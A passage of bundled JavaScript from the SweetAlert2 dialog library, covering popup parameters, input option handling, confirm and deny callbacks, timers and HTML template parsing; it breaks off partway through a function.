  2826. cancelButtonAriaLabel: "",
  2827. cancelButtonColor: void 0,
  2828. buttonsStyling: true,
  2829. reverseButtons: false,
  2830. focusConfirm: true,
  2831. focusDeny: false,
  2832. focusCancel: false,
  2833. returnFocus: true,
  2834. showCloseButton: false,
  2835. closeButtonHtml: "&times;",
  2836. closeButtonAriaLabel: "Close this dialog",
  2837. loaderHtml: "",
  2838. showLoaderOnConfirm: false,
  2839. showLoaderOnDeny: false,
  2840. imageUrl: void 0,
  2841. imageWidth: void 0,
  2842. imageHeight: void 0,
  2843. imageAlt: "",
  2844. timer: void 0,
  2845. timerProgressBar: false,
  2846. width: void 0,
  2847. padding: void 0,
  2848. background: void 0,
  2849. input: void 0,
  2850. inputPlaceholder: "",
  2851. inputLabel: "",
  2852. inputValue: "",
  2853. inputOptions: {},
  2854. inputAutoTrim: true,
  2855. inputAttributes: {},
  2856. inputValidator: void 0,
  2857. returnInputValueOnDeny: false,
  2858. validationMessage: void 0,
  2859. grow: false,
  2860. position: "center",
  2861. progressSteps: [],
  2862. currentProgressStep: void 0,
  2863. progressStepsDistance: void 0,
  2864. willOpen: void 0,
  2865. didOpen: void 0,
  2866. didRender: void 0,
  2867. willClose: void 0,
  2868. didClose: void 0,
  2869. didDestroy: void 0,
  2870. scrollbarPadding: true
  2871. };
  2872. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2873. const deprecatedParams = {};
  2874. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2875. const isValidParameter = (paramName) => {
  2876. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2877. };
  2878. const isUpdatableParameter = (paramName) => {
  2879. return updatableParams.indexOf(paramName) !== -1;
  2880. };
  2881. const isDeprecatedParameter = (paramName) => {
  2882. return deprecatedParams[paramName];
  2883. };
  2884. const checkIfParamIsValid = (param) => {
  2885. if (!isValidParameter(param)) {
  2886. warn(`Unknown parameter "${param}"`);
  2887. }
  2888. };
  2889. const checkIfToastParamIsValid = (param) => {
  2890. if (toastIncompatibleParams.includes(param)) {
  2891. warn(`The parameter "${param}" is incompatible with toasts`);
  2892. }
  2893. };
  2894. const checkIfParamIsDeprecated = (param) => {
  2895. if (isDeprecatedParameter(param)) {
  2896. warnAboutDeprecation(param, isDeprecatedParameter(param));
  2897. }
  2898. };
  2899. const showWarningsForParams = (params) => {
  2900. if (params.backdrop === false && params.allowOutsideClick) {
  2901. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2902. }
  2903. for (const param in params) {
  2904. checkIfParamIsValid(param);
  2905. if (params.toast) {
  2906. checkIfToastParamIsValid(param);
  2907. }
  2908. checkIfParamIsDeprecated(param);
  2909. }
  2910. };
  2911. function update(params) {
  2912. const popup = getPopup();
  2913. const innerParams = privateProps.innerParams.get(this);
  2914. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2915. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2916. return;
  2917. }
  2918. const validUpdatableParams = filterValidParams(params);
  2919. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2920. render(this, updatedParams);
  2921. privateProps.innerParams.set(this, updatedParams);
  2922. Object.defineProperties(this, {
  2923. params: {
  2924. value: Object.assign({}, this.params, params),
  2925. writable: false,
  2926. enumerable: true
  2927. }
  2928. });
  2929. }
  2930. const filterValidParams = (params) => {
  2931. const validUpdatableParams = {};
  2932. Object.keys(params).forEach((param) => {
  2933. if (isUpdatableParameter(param)) {
  2934. validUpdatableParams[param] = params[param];
  2935. } else {
  2936. warn(`Invalid parameter to update: ${param}`);
  2937. }
  2938. });
  2939. return validUpdatableParams;
  2940. };
  2941. function _destroy() {
  2942. const domCache = privateProps.domCache.get(this);
  2943. const innerParams = privateProps.innerParams.get(this);
  2944. if (!innerParams) {
  2945. disposeWeakMaps(this);
  2946. return;
  2947. }
  2948. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2949. globalState.swalCloseEventFinishedCallback();
  2950. delete globalState.swalCloseEventFinishedCallback;
  2951. }
  2952. if (typeof innerParams.didDestroy === "function") {
  2953. innerParams.didDestroy();
  2954. }
  2955. disposeSwal(this);
  2956. }
  2957. const disposeSwal = (instance) => {
  2958. disposeWeakMaps(instance);
  2959. delete instance.params;
  2960. delete globalState.keydownHandler;
  2961. delete globalState.keydownTarget;
  2962. delete globalState.currentInstance;
  2963. };
  2964. const disposeWeakMaps = (instance) => {
  2965. if (instance.isAwaitingPromise()) {
  2966. unsetWeakMaps(privateProps, instance);
  2967. privateProps.awaitingPromise.set(instance, true);
  2968. } else {
  2969. unsetWeakMaps(privateMethods, instance);
  2970. unsetWeakMaps(privateProps, instance);
  2971. }
  2972. };
  2973. const unsetWeakMaps = (obj, instance) => {
  2974. for (const i in obj) {
  2975. obj[i].delete(instance);
  2976. }
  2977. };
  2978. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2979. __proto__: null,
  2980. hideLoading,
  2981. disableLoading: hideLoading,
  2982. getInput,
  2983. close,
  2984. isAwaitingPromise,
  2985. rejectPromise,
  2986. handleAwaitingPromise,
  2987. closePopup: close,
  2988. closeModal: close,
  2989. closeToast: close,
  2990. enableButtons,
  2991. disableButtons,
  2992. enableInput,
  2993. disableInput,
  2994. showValidationMessage,
  2995. resetValidationMessage,
  2996. update,
  2997. _destroy
  2998. });
  2999. const showLoading = (buttonToReplace) => {
  3000. let popup = getPopup();
  3001. if (!popup) {
  3002. new Swal2();
  3003. }
  3004. popup = getPopup();
  3005. const loader = getLoader();
  3006. if (isToast()) {
  3007. hide(getIcon());
  3008. } else {
  3009. replaceButton(popup, buttonToReplace);
  3010. }
  3011. show(loader);
  3012. popup.setAttribute("data-loading", "true");
  3013. popup.setAttribute("aria-busy", "true");
  3014. popup.focus();
  3015. };
  3016. const replaceButton = (popup, buttonToReplace) => {
  3017. const actions = getActions();
  3018. const loader = getLoader();
  3019. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  3020. buttonToReplace = getConfirmButton();
  3021. }
  3022. show(actions);
  3023. if (buttonToReplace) {
  3024. hide(buttonToReplace);
  3025. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  3026. }
  3027. loader.parentNode.insertBefore(loader, buttonToReplace);
  3028. addClass([popup, actions], swalClasses.loading);
  3029. };
  3030. const handleInputOptionsAndValue = (instance, params) => {
  3031. if (params.input === "select" || params.input === "radio") {
  3032. handleInputOptions(instance, params);
  3033. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  3034. showLoading(getConfirmButton());
  3035. handleInputValue(instance, params);
  3036. }
  3037. };
  3038. const getInputValue = (instance, innerParams) => {
  3039. const input = instance.getInput();
  3040. if (!input) {
  3041. return null;
  3042. }
  3043. switch (innerParams.input) {
  3044. case "checkbox":
  3045. return getCheckboxValue(input);
  3046. case "radio":
  3047. return getRadioValue(input);
  3048. case "file":
  3049. return getFileValue(input);
  3050. default:
  3051. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  3052. }
  3053. };
  3054. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  3055. const getRadioValue = (input) => input.checked ? input.value : null;
  3056. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  3057. const handleInputOptions = (instance, params) => {
  3058. const popup = getPopup();
  3059. const processInputOptions = (inputOptions) => {
  3060. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  3061. };
  3062. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  3063. showLoading(getConfirmButton());
  3064. asPromise(params.inputOptions).then((inputOptions) => {
  3065. instance.hideLoading();
  3066. processInputOptions(inputOptions);
  3067. });
  3068. } else if (typeof params.inputOptions === "object") {
  3069. processInputOptions(params.inputOptions);
  3070. } else {
  3071. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  3072. }
  3073. };
  3074. const handleInputValue = (instance, params) => {
  3075. const input = instance.getInput();
  3076. hide(input);
  3077. asPromise(params.inputValue).then((inputValue) => {
  3078. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  3079. show(input);
  3080. input.focus();
  3081. instance.hideLoading();
  3082. }).catch((err) => {
  3083. error(`Error in inputValue promise: ${err}`);
  3084. input.value = "";
  3085. show(input);
  3086. input.focus();
  3087. instance.hideLoading();
  3088. });
  3089. };
  3090. const populateInputOptions = {
  3091. select: (popup, inputOptions, params) => {
  3092. const select = getDirectChildByClass(popup, swalClasses.select);
  3093. const renderOption = (parent, optionLabel, optionValue) => {
  3094. const option = document.createElement("option");
  3095. option.value = optionValue;
  3096. setInnerHtml(option, optionLabel);
  3097. option.selected = isSelected(optionValue, params.inputValue);
  3098. parent.appendChild(option);
  3099. };
  3100. inputOptions.forEach((inputOption) => {
  3101. const optionValue = inputOption[0];
  3102. const optionLabel = inputOption[1];
  3103. if (Array.isArray(optionLabel)) {
  3104. const optgroup = document.createElement("optgroup");
  3105. optgroup.label = optionValue;
  3106. optgroup.disabled = false;
  3107. select.appendChild(optgroup);
  3108. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  3109. } else {
  3110. renderOption(select, optionLabel, optionValue);
  3111. }
  3112. });
  3113. select.focus();
  3114. },
  3115. radio: (popup, inputOptions, params) => {
  3116. const radio = getDirectChildByClass(popup, swalClasses.radio);
  3117. inputOptions.forEach((inputOption) => {
  3118. const radioValue = inputOption[0];
  3119. const radioLabel = inputOption[1];
  3120. const radioInput = document.createElement("input");
  3121. const radioLabelElement = document.createElement("label");
  3122. radioInput.type = "radio";
  3123. radioInput.name = swalClasses.radio;
  3124. radioInput.value = radioValue;
  3125. if (isSelected(radioValue, params.inputValue)) {
  3126. radioInput.checked = true;
  3127. }
  3128. const label = document.createElement("span");
  3129. setInnerHtml(label, radioLabel);
  3130. label.className = swalClasses.label;
  3131. radioLabelElement.appendChild(radioInput);
  3132. radioLabelElement.appendChild(label);
  3133. radio.appendChild(radioLabelElement);
  3134. });
  3135. const radios = radio.querySelectorAll("input");
  3136. if (radios.length) {
  3137. radios[0].focus();
  3138. }
  3139. }
  3140. };
  3141. const formatInputOptions = (inputOptions) => {
  3142. const result = [];
  3143. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  3144. inputOptions.forEach((value, key) => {
  3145. let valueFormatted = value;
  3146. if (typeof valueFormatted === "object") {
  3147. valueFormatted = formatInputOptions(valueFormatted);
  3148. }
  3149. result.push([key, valueFormatted]);
  3150. });
  3151. } else {
  3152. Object.keys(inputOptions).forEach((key) => {
  3153. let valueFormatted = inputOptions[key];
  3154. if (typeof valueFormatted === "object") {
  3155. valueFormatted = formatInputOptions(valueFormatted);
  3156. }
  3157. result.push([key, valueFormatted]);
  3158. });
  3159. }
  3160. return result;
  3161. };
  3162. const isSelected = (optionValue, inputValue) => {
  3163. return inputValue && inputValue.toString() === optionValue.toString();
  3164. };
  3165. const handleConfirmButtonClick = (instance) => {
  3166. const innerParams = privateProps.innerParams.get(instance);
  3167. instance.disableButtons();
  3168. if (innerParams.input) {
  3169. handleConfirmOrDenyWithInput(instance, "confirm");
  3170. } else {
  3171. confirm(instance, true);
  3172. }
  3173. };
  3174. const handleDenyButtonClick = (instance) => {
  3175. const innerParams = privateProps.innerParams.get(instance);
  3176. instance.disableButtons();
  3177. if (innerParams.returnInputValueOnDeny) {
  3178. handleConfirmOrDenyWithInput(instance, "deny");
  3179. } else {
  3180. deny(instance, false);
  3181. }
  3182. };
  3183. const handleCancelButtonClick = (instance, dismissWith) => {
  3184. instance.disableButtons();
  3185. dismissWith(DismissReason.cancel);
  3186. };
  3187. const handleConfirmOrDenyWithInput = (instance, type) => {
  3188. const innerParams = privateProps.innerParams.get(instance);
  3189. if (!innerParams.input) {
  3190. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  3191. return;
  3192. }
  3193. const inputValue = getInputValue(instance, innerParams);
  3194. if (innerParams.inputValidator) {
  3195. handleInputValidator(instance, inputValue, type);
  3196. } else if (!instance.getInput().checkValidity()) {
  3197. instance.enableButtons();
  3198. instance.showValidationMessage(innerParams.validationMessage);
  3199. } else if (type === "deny") {
  3200. deny(instance, inputValue);
  3201. } else {
  3202. confirm(instance, inputValue);
  3203. }
  3204. };
  3205. const handleInputValidator = (instance, inputValue, type) => {
  3206. const innerParams = privateProps.innerParams.get(instance);
  3207. instance.disableInput();
  3208. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  3209. validationPromise.then((validationMessage) => {
  3210. instance.enableButtons();
  3211. instance.enableInput();
  3212. if (validationMessage) {
  3213. instance.showValidationMessage(validationMessage);
  3214. } else if (type === "deny") {
  3215. deny(instance, inputValue);
  3216. } else {
  3217. confirm(instance, inputValue);
  3218. }
  3219. });
  3220. };
  3221. const deny = (instance, value) => {
  3222. const innerParams = privateProps.innerParams.get(instance || void 0);
  3223. if (innerParams.showLoaderOnDeny) {
  3224. showLoading(getDenyButton());
  3225. }
  3226. if (innerParams.preDeny) {
  3227. privateProps.awaitingPromise.set(instance || void 0, true);
  3228. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  3229. preDenyPromise.then((preDenyValue) => {
  3230. if (preDenyValue === false) {
  3231. instance.hideLoading();
  3232. handleAwaitingPromise(instance);
  3233. } else {
  3234. instance.close({
  3235. isDenied: true,
  3236. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  3237. });
  3238. }
  3239. }).catch((error2) => rejectWith(instance || void 0, error2));
  3240. } else {
  3241. instance.close({
  3242. isDenied: true,
  3243. value
  3244. });
  3245. }
  3246. };
  3247. const succeedWith = (instance, value) => {
  3248. instance.close({
  3249. isConfirmed: true,
  3250. value
  3251. });
  3252. };
  3253. const rejectWith = (instance, error2) => {
  3254. instance.rejectPromise(error2);
  3255. };
  3256. const confirm = (instance, value) => {
  3257. const innerParams = privateProps.innerParams.get(instance || void 0);
  3258. if (innerParams.showLoaderOnConfirm) {
  3259. showLoading();
  3260. }
  3261. if (innerParams.preConfirm) {
  3262. instance.resetValidationMessage();
  3263. privateProps.awaitingPromise.set(instance || void 0, true);
  3264. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  3265. preConfirmPromise.then((preConfirmValue) => {
  3266. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  3267. instance.hideLoading();
  3268. handleAwaitingPromise(instance);
  3269. } else {
  3270. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  3271. }
  3272. }).catch((error2) => rejectWith(instance || void 0, error2));
  3273. } else {
  3274. succeedWith(instance, value);
  3275. }
  3276. };
  3277. const handlePopupClick = (instance, domCache, dismissWith) => {
  3278. const innerParams = privateProps.innerParams.get(instance);
  3279. if (innerParams.toast) {
  3280. handleToastClick(instance, domCache, dismissWith);
  3281. } else {
  3282. handleModalMousedown(domCache);
  3283. handleContainerMousedown(domCache);
  3284. handleModalClick(instance, domCache, dismissWith);
  3285. }
  3286. };
  3287. const handleToastClick = (instance, domCache, dismissWith) => {
  3288. domCache.popup.onclick = () => {
  3289. const innerParams = privateProps.innerParams.get(instance);
  3290. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  3291. return;
  3292. }
  3293. dismissWith(DismissReason.close);
  3294. };
  3295. };
  3296. const isAnyButtonShown = (innerParams) => {
  3297. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  3298. };
  3299. let ignoreOutsideClick = false;
  3300. const handleModalMousedown = (domCache) => {
  3301. domCache.popup.onmousedown = () => {
  3302. domCache.container.onmouseup = function(e) {
  3303. domCache.container.onmouseup = void 0;
  3304. if (e.target === domCache.container) {
  3305. ignoreOutsideClick = true;
  3306. }
  3307. };
  3308. };
  3309. };
  3310. const handleContainerMousedown = (domCache) => {
  3311. domCache.container.onmousedown = () => {
  3312. domCache.popup.onmouseup = function(e) {
  3313. domCache.popup.onmouseup = void 0;
  3314. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  3315. ignoreOutsideClick = true;
  3316. }
  3317. };
  3318. };
  3319. };
  3320. const handleModalClick = (instance, domCache, dismissWith) => {
  3321. domCache.container.onclick = (e) => {
  3322. const innerParams = privateProps.innerParams.get(instance);
  3323. if (ignoreOutsideClick) {
  3324. ignoreOutsideClick = false;
  3325. return;
  3326. }
  3327. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  3328. dismissWith(DismissReason.backdrop);
  3329. }
  3330. };
  3331. };
  3332. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  3333. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  3334. const argsToParams = (args) => {
  3335. const params = {};
  3336. if (typeof args[0] === "object" && !isElement(args[0])) {
  3337. Object.assign(params, args[0]);
  3338. } else {
  3339. ["title", "html", "icon"].forEach((name, index) => {
  3340. const arg = args[index];
  3341. if (typeof arg === "string" || isElement(arg)) {
  3342. params[name] = arg;
  3343. } else if (arg !== void 0) {
  3344. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  3345. }
  3346. });
  3347. }
  3348. return params;
  3349. };
  3350. function fire() {
  3351. const Swal3 = this;
  3352. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3353. args[_key] = arguments[_key];
  3354. }
  3355. return new Swal3(...args);
  3356. }
  3357. function mixin(mixinParams) {
  3358. class MixinSwal extends this {
  3359. _main(params, priorityMixinParams) {
  3360. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  3361. }
  3362. }
  3363. return MixinSwal;
  3364. }
  3365. const getTimerLeft = () => {
  3366. return globalState.timeout && globalState.timeout.getTimerLeft();
  3367. };
  3368. const stopTimer = () => {
  3369. if (globalState.timeout) {
  3370. stopTimerProgressBar();
  3371. return globalState.timeout.stop();
  3372. }
  3373. };
  3374. const resumeTimer = () => {
  3375. if (globalState.timeout) {
  3376. const remaining = globalState.timeout.start();
  3377. animateTimerProgressBar(remaining);
  3378. return remaining;
  3379. }
  3380. };
  3381. const toggleTimer = () => {
  3382. const timer = globalState.timeout;
  3383. return timer && (timer.running ? stopTimer() : resumeTimer());
  3384. };
  3385. const increaseTimer = (n) => {
  3386. if (globalState.timeout) {
  3387. const remaining = globalState.timeout.increase(n);
  3388. animateTimerProgressBar(remaining, true);
  3389. return remaining;
  3390. }
  3391. };
  3392. const isTimerRunning = () => {
  3393. return globalState.timeout && globalState.timeout.isRunning();
  3394. };
  3395. let bodyClickListenerAdded = false;
  3396. const clickHandlers = {};
  3397. function bindClickHandler() {
  3398. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  3399. clickHandlers[attr] = this;
  3400. if (!bodyClickListenerAdded) {
  3401. document.body.addEventListener("click", bodyClickListener);
  3402. bodyClickListenerAdded = true;
  3403. }
  3404. }
  3405. const bodyClickListener = (event) => {
  3406. for (let el = event.target; el && el !== document; el = el.parentNode) {
  3407. for (const attr in clickHandlers) {
  3408. const template = el.getAttribute(attr);
  3409. if (template) {
  3410. clickHandlers[attr].fire({
  3411. template
  3412. });
  3413. return;
  3414. }
  3415. }
  3416. }
  3417. };
  3418. var staticMethods = /* @__PURE__ */ Object.freeze({
  3419. __proto__: null,
  3420. isValidParameter,
  3421. isUpdatableParameter,
  3422. isDeprecatedParameter,
  3423. argsToParams,
  3424. getContainer,
  3425. getPopup,
  3426. getTitle,
  3427. getHtmlContainer,
  3428. getImage,
  3429. getIcon,
  3430. getIconContent,
  3431. getInputLabel,
  3432. getCloseButton,
  3433. getActions,
  3434. getConfirmButton,
  3435. getDenyButton,
  3436. getCancelButton,
  3437. getLoader,
  3438. getFooter,
  3439. getTimerProgressBar,
  3440. getFocusableElements,
  3441. getValidationMessage,
  3442. getProgressSteps,
  3443. isLoading,
  3444. isVisible,
  3445. clickConfirm,
  3446. clickDeny,
  3447. clickCancel,
  3448. fire,
  3449. mixin,
  3450. showLoading,
  3451. enableLoading: showLoading,
  3452. getTimerLeft,
  3453. stopTimer,
  3454. resumeTimer,
  3455. toggleTimer,
  3456. increaseTimer,
  3457. isTimerRunning,
  3458. bindClickHandler
  3459. });
  3460. class Timer {
  3461. constructor(callback, delay) {
  3462. this.callback = callback;
  3463. this.remaining = delay;
  3464. this.running = false;
  3465. this.start();
  3466. }
  3467. start() {
  3468. if (!this.running) {
  3469. this.running = true;
  3470. this.started = new Date();
  3471. this.id = setTimeout(this.callback, this.remaining);
  3472. }
  3473. return this.remaining;
  3474. }
  3475. stop() {
  3476. if (this.running) {
  3477. this.running = false;
  3478. clearTimeout(this.id);
  3479. this.remaining -= new Date().getTime() - this.started.getTime();
  3480. }
  3481. return this.remaining;
  3482. }
  3483. increase(n) {
  3484. const running = this.running;
  3485. if (running) {
  3486. this.stop();
  3487. }
  3488. this.remaining += n;
  3489. if (running) {
  3490. this.start();
  3491. }
  3492. return this.remaining;
  3493. }
  3494. getTimerLeft() {
  3495. if (this.running) {
  3496. this.stop();
  3497. this.start();
  3498. }
  3499. return this.remaining;
  3500. }
  3501. isRunning() {
  3502. return this.running;
  3503. }
  3504. }
  3505. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  3506. const getTemplateParams = (params) => {
  3507. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  3508. if (!template) {
  3509. return {};
  3510. }
  3511. const templateContent = template.content;
  3512. showWarningsForElements(templateContent);
  3513. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  3514. return result;
  3515. };
  3516. const getSwalParams = (templateContent) => {
  3517. const result = {};
  3518. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  3519. swalParams.forEach((param) => {
  3520. showWarningsForAttributes(param, ["name", "value"]);
  3521. const paramName = param.getAttribute("name");
  3522. const value = param.getAttribute("value");
  3523. if (typeof defaultParams[paramName] === "boolean") {
  3524. result[paramName] = value !== "false";
  3525. } else if (typeof defaultParams[paramName] === "object") {
  3526. result[paramName] = JSON.parse(value);
  3527. } else {
  3528. result[paramName] = value;
  3529. }
  3530. });
  3531. return result;
  3532. };
  3533. const getSwalFunctionParams = (templateContent) => {
  3534. const result = {};
  3535. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  3536. swalFunctions.forEach((param) => {
  3537. const paramName = param.getAttribute("name");
  3538. const value = param.getAttribute("value");
  3539. result[paramName] = new Function(`return ${value}`)();
  3540. });
  3541. return result;
  3542. };
  3543. const getSwalButtons = (templateContent) => {
  3544. const result = {};
  3545. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  3546. swalButtons.forEach((button) => {
  3547. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  3548. const type = button.getAttribute("type");
  3549. result[`${type}ButtonText`] = button.innerHTML;
  3550. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  3551. if (button.hasAttribute("color")) {
  3552. result[`${type}ButtonColor`] = button.getAttribute("color");
  3553. }
  3554. if (button.hasAttribute("aria-label")) {
  3555. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  3556. }
  3557. });
  3558. return result;
  3559. };
  3560. const getSwalImage = (templateContent) => {
  3561. const result = {};
  3562. const image = templateContent.querySelector("swal-image");
  3563. if (image) {
  3564. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  3565. if (image.hasAttribute("src")) {
  3566. result.imageUrl = image.getAttribute("src");
  3567. }
  3568. if (image.hasAttribute("width")) {
  3569. result.imageWidth = image.getAttribute("width");
  3570. }
  3571. if (image.hasAttribute("height")) {
  3572. result.imageHeight = image.getAttribute("height");
  3573. }
  3574. if (image.hasAttribute("alt")) {
  3575. result.imageAlt = image.getAttribute("alt");
  3576. }
  3577. }
  3578. return result;
  3579. };
  3580. const getSwalIcon = (templateContent) => {
  3581. const result = {};
  3582. const icon = templateContent.querySelector("swal-icon");
  3583. if (icon) {
  3584. showWarningsForAttributes(icon, ["type", "color"]);
  3585. if (icon.hasAttribute("type")) {
  3586. result.icon = icon.getAttribute("type");
  3587. }
  3588. if (icon.hasAttribute("color")) {
  3589. result.iconColor = icon.getAttribute("color");
  3590. }
  3591. result.iconHtml = icon.innerHTML;
  3592. }
  3593. return result;
  3594. };
  3595. const getSwalInput = (templateContent) => {
  3596. const result = {};
  3597. const input = templateContent.querySelector("swal-input");
  3598. if (input) {
  3599. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  3600. result.input = input.getAttribute("type") || "text";
  3601. if (input.hasAttribute("label")) {
  3602. result.inputLabel = input.getAttribute("label");
  3603. }
  3604. if (input.hasAttribute("placeholder")) {
  3605. result.inputPlaceholder = input.getAttribute("placeholder");
  3606. }
  3607. if (input.hasAttribute("value")) {
  3608. result.inputValue = input.getAttribute("value");
  3609. }
  3610. }
  3611. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  3612. if (inputOptions.length) {
  3613. result.inputOptions = {};
  3614. inputOptions.forEach((option) => {
  3615. showWarningsForAttributes(option, ["value"]);
  3616. const optionValue = option.getAttribute("value");
  3617. const optionName = option.innerHTML;
  3618. result.inputOptions[optionValue] = optionName;
  3619. });
  3620. }
  3621. return result;
  3622. };
  3623. const getSwalStringParams = (templateContent, paramNames) => {
  3624. const result = {};
  3625. for (const i in paramNames) {
  3626. const paramName = paramNames[i];
  3627. const tag = templateContent.querySelector(paramName);
  3628. if (tag) {
  3629. showWarningsForAttributes(tag, []);
  3630. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  3631. }
  3632. }
  3633. return result;
  3634. };
  3635. const showWarningsForElements = (templateContent) => {
  3636. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  3637. Array.from(templateContent.children).forEach((el) => {
  3638. const tagName = el.tagName.toLowerCase();
  3639. if (!allowedElements.includes(tagName)) {
  3640. warn(`Unrecognized element <${tagName}>`);
  3641. }
  3642. });
  3643. };
  3644. const showWarningsForAttributes = (el, allowedAttributes) => {
  3645. Array.from(el.attributes).forEach((attribute) => {
  3646. if (allowedAttributes.indexOf(attribute.name) === -1) {
  3647. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  3648. }
  3649. });
  3650. };
  3651. const SHOW_CLASS_TIMEOUT = 10;
  3652. const openPopup = (params) => {
  3653. const container = getContainer();
  3654. const popup = getPopup();
  3655. if (typeof params.willOpen === "function") {
  3656. params.willOpen(popup);
  3657. }
  3658. const bodyStyles = window.getComputedStyle(document.body);
  3659. const initialBodyOverflow = bodyStyles.overflowY;
  3660. addClasses(container, popup, params);
  3661. setTimeout(() => {
  3662. setScrollingVisibility(container, popup);
  3663. }, SHOW_CLASS_TIMEOUT);
  3664. if (isModal()) {
  3665. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  3666. setAriaHidden();
  3667. }
  3668. if (!isToast() && !globalState.previousActiveElement) {
  3669. globalState.previousActiveElement = document.activeElement;
  3670. }
  3671. if (typeof params.didOpen === "function") {
  3672. setTimeout(() => params.didOpen(popup));
  3673. }
  3674. removeClass(container, swalClasses["no-transition"]);
  3675. };
  3676. const swalOpenAnimationFinished = (event) => {
  3677. const popup = getPopup();
  3678. if (event.target !== popup) {
  3679. return;
  3680. }
  3681. const container = getContainer();
  3682. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  3683. container.style.overflowY = "auto";
  3684. };
  3685. const setScrollingVisibility = (container, popup) => {
  3686. if (animationEndEvent && hasCssAnimation(popup)) {
  3687. container.style.overflowY = "hidden";
  3688. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  3689. } else {
  3690. container.style.overflowY = "auto";
  3691. }
  3692. };
  3693. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  3694. iOSfix();
  3695. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  3696. fixScrollbar();
  3697. }
  3698. setTimeout(() => {
  3699. container.scrollTop = 0;
  3700. });
  3701. };
  3702. const addClasses = (container, popup, params) => {
  3703. addClass(container, params.showClass.backdrop);
  3704. popup.style.setProperty("opacity", "0", "important");
  3705. show(popup, "grid");
  3706. setTimeout(() => {
  3707. addClass(popup, params.showClass.popup);
  3708. popup.style.removeProperty("opacity");
  3709. }, SHOW_CLASS_TIMEOUT);
  3710. addClass([document.documentElement, document.body], swalClasses.shown);
  3711. if (params.heightAuto && params.backdrop && !params.toast) {
